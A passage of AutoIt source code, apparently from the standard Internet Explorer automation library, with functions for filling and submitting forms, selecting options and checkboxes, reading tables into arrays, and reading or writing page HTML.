  1400.         Return SetError($_iestatus_success, $i_length, $o_object.elements.item($s_name))
  1401.     Else
  1402.         If IsObj($o_object.elements.item($s_name, $i_index)) Then
  1403.             Return SetError($_iestatus_success, $i_length, $o_object.elements.item($s_name, $i_index))
  1404.         Else
  1405.             __ieerrornotify("Warning", "_IEFormElementGetObjByName", "$_IEStatus_NoMatch")
  1406.             Return SetError($_iestatus_nomatch, 0, 0)
  1407.         EndIf
  1408.     EndIf
  1409. EndFunc
  1410.  
  1411. Func _ieformelementgetvalue(ByRef $o_object)
  1412.     If NOT IsObj($o_object) Then
  1413.         __ieerrornotify("Error", "_IEFormElementGetValue", "$_IEStatus_InvalidDataType")
  1414.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1415.     EndIf
  1416.     If NOT __ieisobjtype($o_object, "forminputelement") Then
  1417.         __ieerrornotify("Error", "_IEFormElementGetValue", "$_IEStatus_InvalidObjectType")
  1418.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1419.     EndIf
  1420.     SetError($_iestatus_success)
  1421.     If $o_object.value Then
  1422.         Return $o_object.value
  1423.     Else
  1424.         Return ""
  1425.     EndIf
  1426. EndFunc
  1427.  
  1428. Func _ieformelementsetvalue(ByRef $o_object, $s_newvalue, $f_fireevent = 1)
  1429.     If NOT IsObj($o_object) Then
  1430.         __ieerrornotify("Error", "_IEFormElementSetValue", "$_IEStatus_InvalidDataType")
  1431.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1432.     EndIf
  1433.     If NOT __ieisobjtype($o_object, "forminputelement") Then
  1434.         __ieerrornotify("Error", "_IEFormElementSetValue", "$_IEStatus_InvalidObjectType")
  1435.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1436.     EndIf
  1437.     If String($o_object.type) = "file" Then
  1438.         __ieerrornotify("Error", "_IEFormElementSetValue", "$_IEStatus_InvalidObjectType", "Browser securuty prevents SetValue of TYPE=FILE")
  1439.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1440.     EndIf
  1441.     $o_object.value = $s_newvalue
  1442.     If $f_fireevent Then
  1443.         $o_object.fireevent("OnChange")
  1444.         $o_object.fireevent("OnClick")
  1445.     EndIf
  1446.     Return SetError($_iestatus_success, 0, 1)
  1447. EndFunc
  1448.  
  1449. Func _ieformelementoptionselect(ByRef $o_object, $s_string, $f_select = 1, $s_mode = "byValue", $f_fireevent = 1)
  1450.     If NOT IsObj($o_object) Then
  1451.         __ieerrornotify("Error", "_IEFormElementOptionSelect", "$_IEStatus_InvalidDataType")
  1452.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1453.     EndIf
  1454.     If NOT __ieisobjtype($o_object, "formselectelement") Then
  1455.         __ieerrornotify("Error", "_IEFormElementOptionSelect", "$_IEStatus_InvalidObjectType")
  1456.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1457.     EndIf
  1458.     Local $oitem, $oitems = $o_object.options, $inumitems = $o_object.options.length, $f_ismultiple = $o_object.multiple
  1459.     Switch $s_mode
  1460.         Case "byValue"
  1461.             For $oitem In $oitems
  1462.                 If $oitem.value = $s_string Then
  1463.                     Switch $f_select
  1464.                         Case  - 1
  1465.                             Return SetError($_iestatus_success, 0, $oitem.selected)
  1466.                         Case 0
  1467.                             If NOT $f_ismultiple Then
  1468.                                 __ieerrornotify("Error", "_IEFormElementOptionSelect", "$_IEStatus_InvalidValue", "$f_select=0 only valid for type=select multiple")
  1469.                                 SetError($_iestatus_invalidvalue, 3)
  1470.                             EndIf
  1471.                             If $oitem.selected Then
  1472.                                 $oitem.selected = False
  1473.                                 If $f_fireevent Then
  1474.                                     $o_object.fireevent("onChange")
  1475.                                     $o_object.fireevent("OnClick")
  1476.                                 EndIf
  1477.                             EndIf
  1478.                             Return SetError($_iestatus_success, 0, 1)
  1479.                         Case 1
  1480.                             If NOT $oitem.selected Then
  1481.                                 $oitem.selected = True
  1482.                                 If $f_fireevent Then
  1483.                                     $o_object.fireevent("onChange")
  1484.                                     $o_object.fireevent("OnClick")
  1485.                                 EndIf
  1486.                             EndIf
  1487.                             Return SetError($_iestatus_success, 0, 1)
  1488.                         Case Else
  1489.                             __ieerrornotify("Error", "_IEFormElementOptionSelect", "$_IEStatus_InvalidValue", "Invalid $f_select value")
  1490.                             Return SetError($_iestatus_invalidvalue, 3, 0)
  1491.                     EndSwitch
  1492.                     __ieerrornotify("Warning", "_IEFormElementOptionSelect", "$_IEStatus_NoMatch", "Value not matched")
  1493.                     Return SetError($_iestatus_nomatch, 2, 0)
  1494.                 EndIf
  1495.             Next
  1496.         Case "byText"
  1497.             For $oitem In $oitems
  1498.                 If String($oitem.text) = $s_string Then
  1499.                     Switch $f_select
  1500.                         Case  - 1
  1501.                             Return SetError($_iestatus_success, 0, $oitem.selected)
  1502.                         Case 0
  1503.                             If NOT $f_ismultiple Then
  1504.                                 __ieerrornotify("Error", "_IEFormElementOptionSelect", "$_IEStatus_InvalidValue", "$f_select=0 only valid for type=select multiple")
  1505.                                 SetError($_iestatus_invalidvalue, 3)
  1506.                             EndIf
  1507.                             If $oitem.selected Then
  1508.                                 $oitem.selected = False
  1509.                                 If $f_fireevent Then
  1510.                                     $o_object.fireevent("onChange")
  1511.                                     $o_object.fireevent("OnClick")
  1512.                                 EndIf
  1513.                             EndIf
  1514.                             Return SetError($_iestatus_success, 0, 1)
  1515.                         Case 1
  1516.                             If NOT $oitem.selected Then
  1517.                                 $oitem.selected = True
  1518.                                 If $f_fireevent Then
  1519.                                     $o_object.fireevent("onChange")
  1520.                                     $o_object.fireevent("OnClick")
  1521.                                 EndIf
  1522.                             EndIf
  1523.                             Return SetError($_iestatus_success, 0, 1)
  1524.                         Case Else
  1525.                             __ieerrornotify("Error", "_IEFormElementOptionSelect", "$_IEStatus_InvalidValue", "Invalid $f_select value")
  1526.                             Return SetError($_iestatus_invalidvalue, 3, 0)
  1527.                     EndSwitch
  1528.                     __ieerrornotify("Warning", "_IEFormElementOptionSelect", "$_IEStatus_NoMatch", "Text not matched")
  1529.                     Return SetError($_iestatus_nomatch, 2, 0)
  1530.                 EndIf
  1531.             Next
  1532.         Case "byIndex"
  1533.             Local $i_index = Number($s_string)
  1534.             If $i_index < 0 OR $i_index >= $inumitems Then
  1535.                 __ieerrornotify("Error", "_IEFormElementOptionSelect", "$_IEStatus_InvalidValue", "Invalid index value, " & $i_index)
  1536.                 Return SetError($_iestatus_invalidvalue, 2, 0)
  1537.             EndIf
  1538.             $oitem = $oitems.item($i_index)
  1539.             Switch $f_select
  1540.                 Case  - 1
  1541.                     Return SetError($_iestatus_success, 0, $oitems.item($i_index).selected)
  1542.                 Case 0
  1543.                     If NOT $f_ismultiple Then
  1544.                         __ieerrornotify("Error", "_IEFormElementOptionSelect", "$_IEStatus_InvalidValue", "$f_select=0 only valid for type=select multiple")
  1545.                         SetError($_iestatus_invalidvalue, 3)
  1546.                     EndIf
  1547.                     If $oitem.selected Then
  1548.                         $oitems.item($i_index).selected = False
  1549.                         If $f_fireevent Then
  1550.                             $o_object.fireevent("onChange")
  1551.                             $o_object.fireevent("OnClick")
  1552.                         EndIf
  1553.                     EndIf
  1554.                     Return SetError($_iestatus_success, 0, 1)
  1555.                 Case 1
  1556.                     If NOT $oitem.selected Then
  1557.                         $oitems.item($i_index).selected = True
  1558.                         If $f_fireevent Then
  1559.                             $o_object.fireevent("onChange")
  1560.                             $o_object.fireevent("OnClick")
  1561.                         EndIf
  1562.                     EndIf
  1563.                     Return SetError($_iestatus_success, 0, 1)
  1564.                 Case Else
  1565.                     __ieerrornotify("Error", "_IEFormElementOptionSelect", "$_IEStatus_InvalidValue", "Invalid $f_select value")
  1566.                     Return SetError($_iestatus_invalidvalue, 3, 0)
  1567.             EndSwitch
  1568.         Case Else
  1569.             __ieerrornotify("Error", "_IEFormElementOptionSelect", "$_IEStatus_InvalidValue", "Invalid Mode")
  1570.             Return SetError($_iestatus_invalidvalue, 4, 0)
  1571.     EndSwitch
  1572. EndFunc
  1573.  
  1574. Func _ieformelementcheckboxselect(ByRef $o_object, $s_string, $s_name = "", $f_select = 1, $s_mode = "byValue", $f_fireevent = 1)
  1575.     If NOT IsObj($o_object) Then
  1576.         __ieerrornotify("Error", "_IEFormElementCheckboxSelect", "$_IEStatus_InvalidDataType")
  1577.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1578.     EndIf
  1579.     If NOT __ieisobjtype($o_object, "form") Then
  1580.         __ieerrornotify("Error", "_IEFormElementCheckboxSelect", "$_IEStatus_InvalidObjectType")
  1581.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1582.     EndIf
  1583.     $s_string = String($s_string)
  1584.     $s_name = String($s_name)
  1585.     Local $oitems
  1586.     If $s_name = "" Then
  1587.         $oitems = _ietagnamegetcollection($o_object, "input")
  1588.     Else
  1589.         $oitems = Execute("$o_object.elements('" & $s_name & "')")
  1590.     EndIf
  1591.     If NOT IsObj($oitems) Then
  1592.         __ieerrornotify("Warning", "_IEFormElementCheckboxSelect", "$_IEStatus_NoMatch")
  1593.         Return SetError($_iestatus_nomatch, 3, 0)
  1594.     EndIf
  1595.     Local $oitem, $f_found = False
  1596.     Switch $s_mode
  1597.         Case "byValue"
  1598.             If __ieisobjtype($oitems, "forminputelement") Then
  1599.                 $oitem = $oitems
  1600.                 If String($oitem.type) = "checkbox" AND String($oitem.value) = $s_string Then $f_found = True
  1601.             Else
  1602.                 For $oitem In $oitems
  1603.                     If String($oitem.type) = "checkbox" AND String($oitem.value) = $s_string Then
  1604.                         $f_found = True
  1605.                         ExitLoop
  1606.                     EndIf
  1607.                 Next
  1608.             EndIf
  1609.         Case "byIndex"
  1610.             If __ieisobjtype($oitems, "forminputelement") Then
  1611.                 $oitem = $oitems
  1612.                 If String($oitem.type) = "checkbox" AND Number($s_string) = 0 Then $f_found = True
  1613.             Else
  1614.                 Local $icount = 0
  1615.                 For $oitem In $oitems
  1616.                     If String($oitem.type) = "checkbox" AND Number($s_string) = $icount Then
  1617.                         $f_found = True
  1618.                         ExitLoop
  1619.                     Else
  1620.                         If String($oitem.type) = "checkbox" Then $icount += 1
  1621.                     EndIf
  1622.                 Next
  1623.             EndIf
  1624.         Case Else
  1625.             __ieerrornotify("Error", "_IEFormElementCheckboxSelect", "$_IEStatus_InvalidValue", "Invalid Mode")
  1626.             Return SetError($_iestatus_invalidvalue, 5, 0)
  1627.     EndSwitch
  1628.     If NOT $f_found Then
  1629.         __ieerrornotify("Warning", "_IEFormElementCheckboxSelect", "$_IEStatus_NoMatch")
  1630.         Return SetError($_iestatus_nomatch, 2, 0)
  1631.     EndIf
  1632.     Switch $f_select
  1633.         Case  - 1
  1634.             Return SetError($_iestatus_success, 0, $oitem.checked)
  1635.         Case 0
  1636.             If $oitem.checked Then
  1637.                 $oitem.checked = False
  1638.                 If $f_fireevent Then
  1639.                     $oitem.fireevent("onChange")
  1640.                     $oitem.fireevent("OnClick")
  1641.                 EndIf
  1642.             EndIf
  1643.             Return SetError($_iestatus_success, 0, 1)
  1644.         Case 1
  1645.             If NOT $oitem.checked Then
  1646.                 $oitem.checked = True
  1647.                 If $f_fireevent Then
  1648.                     $oitem.fireevent("onChange")
  1649.                     $oitem.fireevent("OnClick")
  1650.                 EndIf
  1651.             EndIf
  1652.             Return SetError($_iestatus_success, 0, 1)
  1653.         Case Else
  1654.             __ieerrornotify("Error", "_IEFormElementCheckboxSelect", "$_IEStatus_InvalidValue", "Invalid $f_select value")
  1655.             Return SetError($_iestatus_invalidvalue, 3, 0)
  1656.     EndSwitch
  1657. EndFunc
  1658.  
  1659. Func _ieformelementradioselect(ByRef $o_object, $s_string, $s_name, $f_select = 1, $s_mode = "byValue", $f_fireevent = 1)
  1660.     If NOT IsObj($o_object) Then
  1661.         __ieerrornotify("Error", "_IEFormElementRadioSelect", "$_IEStatus_InvalidDataType")
  1662.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1663.     EndIf
  1664.     If NOT __ieisobjtype($o_object, "form") Then
  1665.         __ieerrornotify("Error", "_IEFormElementRadioSelect", "$_IEStatus_InvalidObjectType")
  1666.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1667.     EndIf
  1668.     $s_string = String($s_string)
  1669.     $s_name = String($s_name)
  1670.     Local $oitems = Execute("$o_object.elements('" & $s_name & "')")
  1671.     If NOT IsObj($oitems) Then
  1672.         __ieerrornotify("Warning", "_IEFormElementRadioSelect", "$_IEStatus_NoMatch")
  1673.         Return SetError($_iestatus_nomatch, 3, 0)
  1674.     EndIf
  1675.     Local $oitem, $f_found = False
  1676.     Switch $s_mode
  1677.         Case "byValue"
  1678.             If __ieisobjtype($oitems, "forminputelement") Then
  1679.                 $oitem = $oitems
  1680.                 If String($oitem.type) = "radio" AND String($oitem.value) = $s_string Then $f_found = True
  1681.             Else
  1682.                 For $oitem In $oitems
  1683.                     If String($oitem.type) = "radio" AND String($oitem.value) = $s_string Then
  1684.                         $f_found = True
  1685.                         ExitLoop
  1686.                     EndIf
  1687.                 Next
  1688.             EndIf
  1689.         Case "byIndex"
  1690.             If __ieisobjtype($oitems, "forminputelement") Then
  1691.                 $oitem = $oitems
  1692.                 If String($oitem.type) = "radio" AND Number($s_string) = 0 Then $f_found = True
  1693.             Else
  1694.                 Local $icount = 0
  1695.                 For $oitem In $oitems
  1696.                     If String($oitem.type) = "radio" AND Number($s_string) = $icount Then
  1697.                         $f_found = True
  1698.                         ExitLoop
  1699.                     Else
  1700.                         $icount += 1
  1701.                     EndIf
  1702.                 Next
  1703.             EndIf
  1704.         Case Else
  1705.             __ieerrornotify("Error", "_IEFormElementRadioSelect", "$_IEStatus_InvalidValue", "Invalid Mode")
  1706.             Return SetError($_iestatus_invalidvalue, 5, 0)
  1707.     EndSwitch
  1708.     If NOT $f_found Then
  1709.         __ieerrornotify("Warning", "_IEFormElementRadioSelect", "$_IEStatus_NoMatch")
  1710.         Return SetError($_iestatus_nomatch, 2, 0)
  1711.     EndIf
  1712.     Switch $f_select
  1713.         Case  - 1
  1714.             Return SetError($_iestatus_success, 0, $oitem.checked)
  1715.         Case 0
  1716.             If $oitem.checked Then
  1717.                 $oitem.checked = False
  1718.                 If $f_fireevent Then
  1719.                     $oitem.fireevent("onChange")
  1720.                     $oitem.fireevent("OnClick")
  1721.                 EndIf
  1722.             EndIf
  1723.             Return SetError($_iestatus_success, 0, 1)
  1724.         Case 1
  1725.             If NOT $oitem.checked Then
  1726.                 $oitem.checked = True
  1727.                 If $f_fireevent Then
  1728.                     $oitem.fireevent("onChange")
  1729.                     $oitem.fireevent("OnClick")
  1730.                 EndIf
  1731.             EndIf
  1732.             Return SetError($_iestatus_success, 0, 1)
  1733.         Case Else
  1734.             __ieerrornotify("Error", "_IEFormElementRadioSelect", "$_IEStatus_InvalidValue", "$f_select value invalid")
  1735.             Return SetError($_iestatus_invalidvalue, 4, 0)
  1736.     EndSwitch
  1737. EndFunc
  1738.  
  1739. Func _ieformimageclick(ByRef $o_object, $s_linktext, $s_mode = "src", $i_index = 0, $f_wait = 1)
  1740.     If NOT IsObj($o_object) Then
  1741.         __ieerrornotify("Error", "_IEFormImageClick", "$_IEStatus_InvalidDataType")
  1742.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1743.     EndIf
  1744.     Local $linktext, $found = 0
  1745.     Local $otemp = _iedocgetobj($o_object)
  1746.     Local $imgs = _ietagnamegetcollection($otemp, "input")
  1747.     $s_mode = StringLower($s_mode)
  1748.     $i_index = Number($i_index)
  1749.     For $img In $imgs
  1750.         If String($img.type) = "image" Then
  1751.             Select
  1752.                 Case $s_mode = "alt"
  1753.                     $linktext = $img.alt
  1754.                 Case $s_mode = "name"
  1755.                     $linktext = $img.name
  1756.                 Case $s_mode = "src"
  1757.                     $linktext = $img.src
  1758.                 Case Else
  1759.                     __ieerrornotify("Error", "_IEFormImageClick", "$_IEStatus_InvalidValue", "Invalid mode: " & $s_mode)
  1760.                     Return SetError($_iestatus_invalidvalue, 3, 0)
  1761.             EndSelect
  1762.             If StringInStr($linktext, $s_linktext) Then
  1763.                 If ($found = $i_index) Then
  1764.                     $img.click()
  1765.                     If $f_wait Then
  1766.                         _ieloadwait($o_object)
  1767.                         Return SetError(@error, 0, -1)
  1768.                     EndIf
  1769.                     Return SetError($_iestatus_success, 0, -1)
  1770.                 EndIf
  1771.                 $found = $found + 1
  1772.             EndIf
  1773.         EndIf
  1774.     Next
  1775.     __ieerrornotify("Warning", "_IEFormImageClick", "$_IEStatus_NoMatch")
  1776.     Return SetError($_iestatus_nomatch, 2, 0)
  1777. EndFunc
  1778.  
  1779. Func _ieformsubmit(ByRef $o_object, $f_wait = 1)
  1780.     If NOT IsObj($o_object) Then
  1781.         __ieerrornotify("Error", "_IEFormSubmit", "$_IEStatus_InvalidDataType")
  1782.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1783.     EndIf
  1784.     If NOT __ieisobjtype($o_object, "form") Then
  1785.         __ieerrornotify("Error", "_IEFormSubmit", "$_IEStatus_InvalidObjectType")
  1786.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1787.     EndIf
  1788.     Local $o_window = $o_object.document.parentwindow
  1789.     $o_object.submit()
  1790.     If $f_wait Then
  1791.         _ieloadwait($o_window)
  1792.         Return SetError(@error, 0, -1)
  1793.     EndIf
  1794.     Return SetError($_iestatus_success, 0, -1)
  1795. EndFunc
  1796.  
  1797. Func _ieformreset(ByRef $o_object)
  1798.     If NOT IsObj($o_object) Then
  1799.         __ieerrornotify("Error", "_IEFormReset", "$_IEStatus_InvalidDataType")
  1800.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1801.     EndIf
  1802.     If NOT __ieisobjtype($o_object, "form") Then
  1803.         __ieerrornotify("Error", "_IEFormReset", "$_IEStatus_InvalidObjectType")
  1804.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1805.     EndIf
  1806.     $o_object.reset()
  1807.     Return SetError($_iestatus_success, 0, 1)
  1808. EndFunc
  1809.  
  1810. #EndRegion Form functions
  1811. #Region Table functions
  1812.  
  1813. Func _ietablegetcollection(ByRef $o_object, $i_index = -1)
  1814.     If NOT IsObj($o_object) Then
  1815.         __ieerrornotify("Error", "_IETableGetCollection", "$_IEStatus_InvalidDataType")
  1816.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1817.     EndIf
  1818.     $i_index = Number($i_index)
  1819.     Select
  1820.         Case $i_index = -1
  1821.             Return SetError($_iestatus_success, $o_object.document.getelementsbytagname("table").length, $o_object.document.getelementsbytagname("table"))
  1822.         Case $i_index > -1 AND $i_index < $o_object.document.getelementsbytagname("table").length
  1823.             Return SetError($_iestatus_success, $o_object.document.getelementsbytagname("table").length, $o_object.document.getelementsbytagname("table").item($i_index))
  1824.         Case $i_index < -1
  1825.             __ieerrornotify("Error", "_IETableGetCollection", "$_IEStatus_InvalidValue", "$i_index < -1")
  1826.             Return SetError($_iestatus_invalidvalue, 2, 0)
  1827.         Case Else
  1828.             __ieerrornotify("Warning", "_IETableGetCollection", "$_IEStatus_NoMatch")
  1829.             Return SetError($_iestatus_nomatch, 1, 0)
  1830.     EndSelect
  1831. EndFunc
  1832.  
  1833. Func _ietablewritetoarray(ByRef $o_object, $f_transpose = False)
  1834.     If NOT IsObj($o_object) Then
  1835.         __ieerrornotify("Error", "_IETableWriteToArray", "$_IEStatus_InvalidDataType")
  1836.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1837.     EndIf
  1838.     If NOT __ieisobjtype($o_object, "table") Then
  1839.         __ieerrornotify("Error", "_IETableWriteToArray", "$_IEStatus_InvalidObjectType")
  1840.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1841.     EndIf
  1842.     Local $i_cols = 0, $tds, $i_col
  1843.     Local $trs = $o_object.rows
  1844.     For $tr In $trs
  1845.         $tds = $tr.cells
  1846.         $i_col = 0
  1847.         For $td In $tds
  1848.             $i_col = $i_col + $td.colspan
  1849.         Next
  1850.         If $i_col > $i_cols Then $i_cols = $i_col
  1851.     Next
  1852.     Local $i_rows = $trs.length
  1853.     Local $a_tablecells[$i_cols][$i_rows]
  1854.     Local $col, $row = 0
  1855.     For $tr In $trs
  1856.         $tds = $tr.cells
  1857.         $col = 0
  1858.         For $td In $tds
  1859.             $a_tablecells[$col][$row] = $td.innertext
  1860.             $col = $col + $td.colspan
  1861.         Next
  1862.         $row = $row + 1
  1863.     Next
  1864.     If $f_transpose Then
  1865.         Local $i_d1 = UBound($a_tablecells, 1), $i_d2 = UBound($a_tablecells, 2), $atmp[$i_d2][$i_d1]
  1866.         For $i = 0 To $i_d2 - 1
  1867.             For $j = 0 To $i_d1 - 1
  1868.                 $atmp[$i][$j] = $a_tablecells[$j][$i]
  1869.             Next
  1870.         Next
  1871.         $a_tablecells = $atmp
  1872.     EndIf
  1873.     Return SetError($_iestatus_success, 0, $a_tablecells)
  1874. EndFunc
  1875.  
  1876. #EndRegion Table functions
  1877. #Region Read/Write functions
  1878.  
  1879. Func _iebodyreadhtml(ByRef $o_object)
  1880.     If NOT IsObj($o_object) Then
  1881.         __ieerrornotify("Error", "_IEBodyReadHTML", "$_IEStatus_InvalidDataType")
  1882.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1883.     EndIf
  1884.     Return SetError($_iestatus_success, 0, $o_object.document.body.innerhtml)
  1885. EndFunc
  1886.  
  1887. Func _iebodyreadtext(ByRef $o_object)
  1888.     If NOT IsObj($o_object) Then
  1889.         __ieerrornotify("Error", "_IEBodyReadText", "$_IEStatus_InvalidDataType")
  1890.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1891.     EndIf
  1892.     If NOT __ieisobjtype($o_object, "browserdom") Then
  1893.         __ieerrornotify("Error", "_IEBodyReadText", "$_IEStatus_InvalidObjectType", "Expected document element")
  1894.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1895.     EndIf
  1896.     Return SetError($_iestatus_success, 0, $o_object.document.body.innertext)
  1897. EndFunc
  1898.  
  1899. Func _iebodywritehtml(ByRef $o_object, $s_html)
  1900.     If NOT IsObj($o_object) Then
  1901.         __ieerrornotify("Error", "_IEBodyWriteHTML", "$_IEStatus_InvalidDataType")
  1902.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1903.     EndIf
  1904.     If NOT __ieisobjtype($o_object, "browserdom") Then
  1905.         __ieerrornotify("Error", "_IEBodyWriteHTML", "$_IEStatus_InvalidObjectType", "Expected document element")
  1906.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1907.     EndIf
  1908.     $o_object.document.body.innerhtml = $s_html
  1909.     Local $otemp = $o_object.document
  1910.     _ieloadwait($otemp)
  1911.     Return SetError(@error, 0, -1)
  1912. EndFunc
  1913.  
  1914. Func _iedocreadhtml(ByRef $o_object)
  1915.     If NOT IsObj($o_object) Then
  1916.         __ieerrornotify("Error", "_IEDocReadHTML", "$_IEStatus_InvalidDataType")
  1917.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1918.     EndIf
  1919.     If NOT __ieisobjtype($o_object, "browserdom") Then
  1920.         __ieerrornotify("Error", "_IEDocReadHTML", "$_IEStatus_InvalidObjectType", "Expected document element")
  1921.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1922.     EndIf
  1923.     Return SetError($_iestatus_success, 0, $o_object.document.documentelement.outerhtml)
  1924. EndFunc
  1925.  
  1926. Func _iedocwritehtml(ByRef $o_object, $s_html)
  1927.     If NOT IsObj($o_object) Then
  1928.         __ieerrornotify("Error", "_IEDocWriteHTML", "$_IEStatus_InvalidDataType")
  1929.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1930.     EndIf
  1931.     If NOT __ieisobjtype($o_object, "browserdom") Then
  1932.         __ieerrornotify("Error", "_IEDocWriteHTML", "$_IEStatus_InvalidObjectType", "Expected document element")
  1933.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1934.     EndIf
  1935.     $o_object.document.write($s_html)
  1936.     $o_object.document.close()
  1937.     Local $otemp = $o_object.document
  1938.     _ieloadwait($otemp)
  1939.     Return SetError(@error, 0, -1)
  1940. EndFunc
  1941.  
  1942. Func _iedocinserttext(ByRef $o_object, $s_string, $s_where = "beforeend")
  1943.     If NOT IsObj($o_object) Then
  1944.         __ieerrornotify("Error", "_IEDocInsertText", "$_IEStatus_InvalidDataType")
  1945.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1946.     EndIf
  1947.     If NOT __ieisobjtype($o_object, "browserdom") OR __ieisobjtype($o_object, "documentcontainer") OR __ieisobjtype($o_object, "document") Then
  1948.         __ieerrornotify("Error", "_IEDocInsertText", "$_IEStatus_InvalidObjectType", "Expected document element")
  1949.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1950.     EndIf
  1951.     $s_where = StringLower($s_where)
  1952.     Select
  1953.         Case $s_where = "beforebegin"
  1954.             $o_object.insertadjacenttext($s_where, $s_string)
  1955.             Return SetError($_iestatus_success, 0, 1)
  1956.         Case $s_where = "afterbegin"
  1957.             $o_object.insertadjacenttext($s_where, $s_string)
  1958.             Return SetError($_iestatus_success, 0, 1)
  1959.         Case $s_where = "beforeend"
  1960.             $o_object.insertadjacenttext($s_where, $s_string)
  1961.             Return SetError($_iestatus_success, 0, 1)
  1962.         Case $s_where = "afterend"
  1963.             $o_object.insertadjacenttext($s_where, $s_string)
  1964.             Return SetError($_iestatus_success, 0, 1)
  1965.         Case Else
  1966.             __ieerrornotify("Error", "_IEDocInsertText", "$_IEStatus_InvalidValue", "Invalid where value")
  1967.             Return SetError($_iestatus_invalidvalue, 3, 0)
  1968.     EndSelect
  1969. EndFunc
  1970.  
  1971. Func _iedocinserthtml(ByRef $o_object, $s_string, $s_where = "beforeend")
  1972.     If NOT IsObj($o_object) Then
  1973.         __ieerrornotify("Error", "_IEDocInsertHTML", "$_IEStatus_InvalidDataType")
  1974.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  1975.     EndIf
  1976.     If NOT __ieisobjtype($o_object, "browserdom") OR __ieisobjtype($o_object, "documentcontainer") OR __ieisobjtype($o_object, "document") Then
  1977.         __ieerrornotify("Error", "_IEDocInsertHTML", "$_IEStatus_InvalidObjectType", "Expected document element")
  1978.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1979.     EndIf
  1980.     $s_where = StringLower($s_where)
  1981.     Select
  1982.         Case $s_where = "beforebegin"
  1983.             $o_object.insertadjacenthtml($s_where, $s_string)
  1984.             Return SetError($_iestatus_success, 0, 1)
  1985.         Case $s_where = "afterbegin"
  1986.             $o_object.insertadjacenthtml($s_where, $s_string)
  1987.             Return SetError($_iestatus_success, 0, 1)
  1988.         Case $s_where = "beforeend"
  1989.             $o_object.insertadjacenthtml($s_where, $s_string)
  1990.             Return SetError($_iestatus_success, 0, 1)
  1991.         Case $s_where = "afterend"
  1992.             $o_object.insertadjacenthtml($s_where, $s_string)
  1993.             Return SetError($_iestatus_success, 0, 1)
  1994.         Case Else
  1995.             __ieerrornotify("Error", "_IEDocInsertHTML", "$_IEStatus_InvalidValue", "Invalid where value")
  1996.             Return SetError($_iestatus_invalidvalue, 3, 0)
  1997.     EndSelect
  1998. EndFunc
  1999.  
  2000. Func _ieheadinserteventscript(ByRef $o_object, $s_htmlfor, $s_event, $s_script)
  2001.     If NOT IsObj($o_object) Then
  2002.         __ieerrornotify("Error", "_IEHeadInsertEventScript", "$_IEStatus_InvalidDataType")
  2003.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  2004.     EndIf
  2005.     Local $o_head = $o_object.document.all.tags("HEAD").item(0)
  2006.     Local $o_script = $o_object.document.createelement("script")
  2007.     With $o_script
  2008.         .defer = True
  2009.         .language = "jscript"
  2010.         .type = "text/javascript"
  2011.         .htmlfor = $s_htmlfor
  2012.         .event = $s_event
  2013.         .text = $s_script
  2014.     EndWith
  2015.     $o_head.appendchild($o_script)
  2016.     Return SetError($_iestatus_success, 0, 1)
  2017. EndFunc
  2018.  
  2019. #EndRegion Read/Write functions
  2020. #Region Utility functions
  2021.  
  2022. Func _iedocgetobj(ByRef $o_object)
  2023.     If NOT IsObj($o_object) Then
  2024.         __ieerrornotify("Error", "_IEDocGetObj", "$_IEStatus_InvalidDataType")
  2025.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  2026.     EndIf
  2027.     Switch __ieisobjtype($o_object, "document")
  2028.         Case True
  2029.             Return SetError($_iestatus_success, 0, $o_object)
  2030.         Case False
  2031.             Return SetError($_iestatus_success, 0, $o_object.document)
  2032.     EndSwitch
  2033. EndFunc
  2034.  
  2035. Func _ietagnamegetcollection(ByRef $o_object, $s_tagname, $i_index = -1)
  2036.     If NOT IsObj($o_object) Then
  2037.         __ieerrornotify("Error", "_IETagNameGetCollection", "$_IEStatus_InvalidDataType")
  2038.         Return SetError($_iestatus_invaliddatatype, 1, 0)
  2039.     EndIf
  2040.     If NOT __ieisobjtype($o_object, "browserdom") Then
  2041.         __ieerrornotify("Error", "_IETagNameGetCollection", "$_IEStatus_InvalidObjectType")
  2042.         Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2043.     EndIf
  2044.     Local $otemp
  2045.     If __ieisobjtype($o_object, "documentcontainer") Then
  2046.         $otemp = _iedocgetobj($o_object)
  2047.     Else
  2048.         $otemp = $o_object
  2049.     EndIf
  2050.     $i_index = Number($i_index)
  2051.     Select
  2052.         Case $i_index = -1
  2053.             Return SetError($_iestatus_success, $otemp.getelementsbytagname($s_tagname).length, $otemp.getelementsbytagname($s_tagname))
  2054.         Case $i_index > -1 AND $i_index < $otemp.getelementsbytagname($s_tagname).length
  2055.             Return SetError($_iestatus_success, $otemp.getelementsbytagname($s_tagname).length, $otemp.getelementsbytagname($s_tagname).item($i_index))
